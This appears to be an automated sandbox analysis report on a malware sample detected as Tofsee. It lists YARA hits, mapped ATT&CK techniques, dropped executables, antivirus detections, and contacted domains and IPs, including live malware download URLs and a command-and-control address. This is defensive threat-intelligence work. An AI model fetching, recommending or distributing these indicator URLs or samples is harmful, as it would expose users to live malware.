Yara detected Tofsee

Show sources

Source: Yara match	File source: 25.2.CF8D.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.CF8D.exe.860e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.CF8D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.3.CF8D.exe.880000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000003.408911426.0000000000880000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CF8D.exe PID: 1068, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

Code function: 25_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,

25_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Spearphishing Link1	Windows Management Instrumentation221	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools111	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Valid Accounts1	Native API11	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information11	Input Capture1	Account Discovery1	Remote Desktop Protocol	Data from Local System3	Exfiltration Over Bluetooth	Encrypted Channel21	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Valid Accounts1	Valid Accounts1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery3	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter2	Windows Service4	Access Token Manipulation1	Software Packing33	NTDS	System Information Discovery148	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution3	Network Logon Script	Windows Service4	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol125	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection513	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery671	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery12	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading31	Proc Filesystem	Virtualization/Sandbox Evasion341	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion341	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection513	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
GJXZRPhgm4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\B7EC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CF8D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ackjzztq.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B074.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\aafjaea	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D80A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C376.exe	100%	Joe Sandbox ML
C:\ProgramData\sqlite3.dll	3%	Metadefender	Browse
C:\ProgramData\sqlite3.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.1.GJXZRPhgm4.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.0.B7EC.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.C376.exe.860e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
16.0.aafjaea.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.GJXZRPhgm4.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.GJXZRPhgm4.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.GJXZRPhgm4.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
25.2.CF8D.exe.860e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
16.0.aafjaea.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.GJXZRPhgm4.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.2.CF8D.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
22.1.B7EC.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.GJXZRPhgm4.exe.8615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.GJXZRPhgm4.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.0.B7EC.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.2.aafjaea.8615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.GJXZRPhgm4.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
4.0.GJXZRPhgm4.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
23.3.C376.exe.880000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
16.0.aafjaea.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.C376.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.B7EC.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.GJXZRPhgm4.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
16.1.aafjaea.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.0.B7EC.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.3.CF8D.exe.880000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
20.2.B7EC.exe.8615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.2.aafjaea.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
https://dodecoin.org/dogewallet-setup.exe	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://privacytools-foryou-777.com/downloads/toolspab3.exe	9%	Virustotal		Browse
http://privacytools-foryou-777.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
http://file-file-host4.com/tratata.php:	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
pa:443	0%	Avira URL Cloud	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://data-host-coin-8.com/files/5376_1640094939_1074.exe	0%	Avira URL Cloud	safe
https://dynamic.t	0%	URL Reputation	safe
http://filile-file-host4.com/tratata.php	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://data-host-coin-8.com/game.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://file-file-host4.com/sqlite3.dll	0%	URL Reputation	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://get.adob	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
unicupload.top	54.38.220.85	true	false	high
dodecoin.org	164.132.207.80	true	false	high
host-data-coin-11.com	31.28.27.130	true	false	high
bit.ly	67.199.248.10	true	false	high
bitly.com	67.199.248.14	true	false	high
t.me	149.154.167.99	true	false	high
cdn.discordapp.com	162.159.133.233	true	false	high
transfer.sh	144.76.136.153	true	false	high
privacytools-foryou-777.com	31.28.27.130	true	false	high
file-file-host4.com	31.28.27.130	true	false	high
short.link	172.67.158.215	true	false	high
data-host-coin-8.com	31.28.27.130	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
https://dodecoin.org/dogewallet-setup.exe	false	Avira URL Cloud: safe	unknown
http://privacytools-foryou-777.com/downloads/toolspab3.exe	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://bit.ly/3eHgQQR	false		high
pa:443	true	Avira URL Cloud: safe	low
http://data-host-coin-8.com/files/5376_1640094939_1074.exe	false	Avira URL Cloud: safe	unknown
https://transfer.sh/%28/8V4TRR/q.exe%29.zip	false		high
https://cdn.discordapp.com/attachments/916319571638620172/925647741571452938/Pyroxylic.exe	false		high
http://data-host-coin-8.com/game.exe	true	Avira URL Cloud: malware	unknown
http://file-file-host4.com/sqlite3.dll	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	D80A.exe, 00000024.00000002.516772670.0000000002BE2000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517077567.0000000002CBA000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, S0HVS2V3.23.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	false		high
http://tempuri.org/Entity/Id12Response	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false		high
http://file-file-host4.com/tratata.php:	C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	D80A.exe, 0000001A.00000002.445057312.0000000004191000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.514940284.0000000000402000.00000040.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	false		high
http://crl.ver)	svchost.exe, 00000012.00000002.400883461.0000019CB6AE7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 00000007.00000002.307076901.00000199E944D000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.307069520.00000199E9442000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306686957.00000199E945A000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306752892.00000199E9441000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_shockwave	D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000007.00000003.306650051.00000199E9460000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://filile-file-host4.com/tratata.php	C376.exe, 00000017.00000003.410591236.0000000000A81000.00000004.00000001.sdmp, C376.exe, 00000017.00000002.432178063.0000000000A70000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id5Response	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000007.00000003.306686957.00000199E945A000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000007.00000003.306650051.00000199E9460000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	D80A.exe, 00000024.00000002.516473857.0000000002AD0000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_java	D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517353790.0000000002E45000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000007.00000003.284150857.00000199E9430000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517553061.0000000002F01000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13Response	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000007.00000002.307064518.00000199E943C000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	D80A.exe, 00000024.00000002.516772670.0000000002BE2000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517077567.0000000002CBA000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517002573.0000000002CA4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	D80A.exe, 00000024.00000002.516400412.0000000002A41000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000007.00000002.307110728.00000199E9469000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.305846022.00000199E9467000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000007.00000003.306748439.00000199E9456000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000007.00000003.306704119.00000199E9440000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.307090325.00000199E945D000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.306674613.00000199E945C000.00000004.00000001.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	D80A.exe, 00000024.00000002.516772670.0000000002BE2000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517077567.0000000002CBA000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516852322.0000000002BF8000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510871749.0000000003D4A000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517982671.0000000003B33000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510559647.0000000003C68000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510678005.0000000003CD9000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp, D80A.exe, 00000024.00000003.510475033.0000000003BF7000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.517762647.0000000003AC2000.00000004.00000001.sdmp, S0HVS2V3.23.dr	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000012.00000003.379195258.0000019CB737C000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	D80A.exe, 00000024.00000002.516489514.0000000002AD4000.00000004.00000001.sdmp	false		high
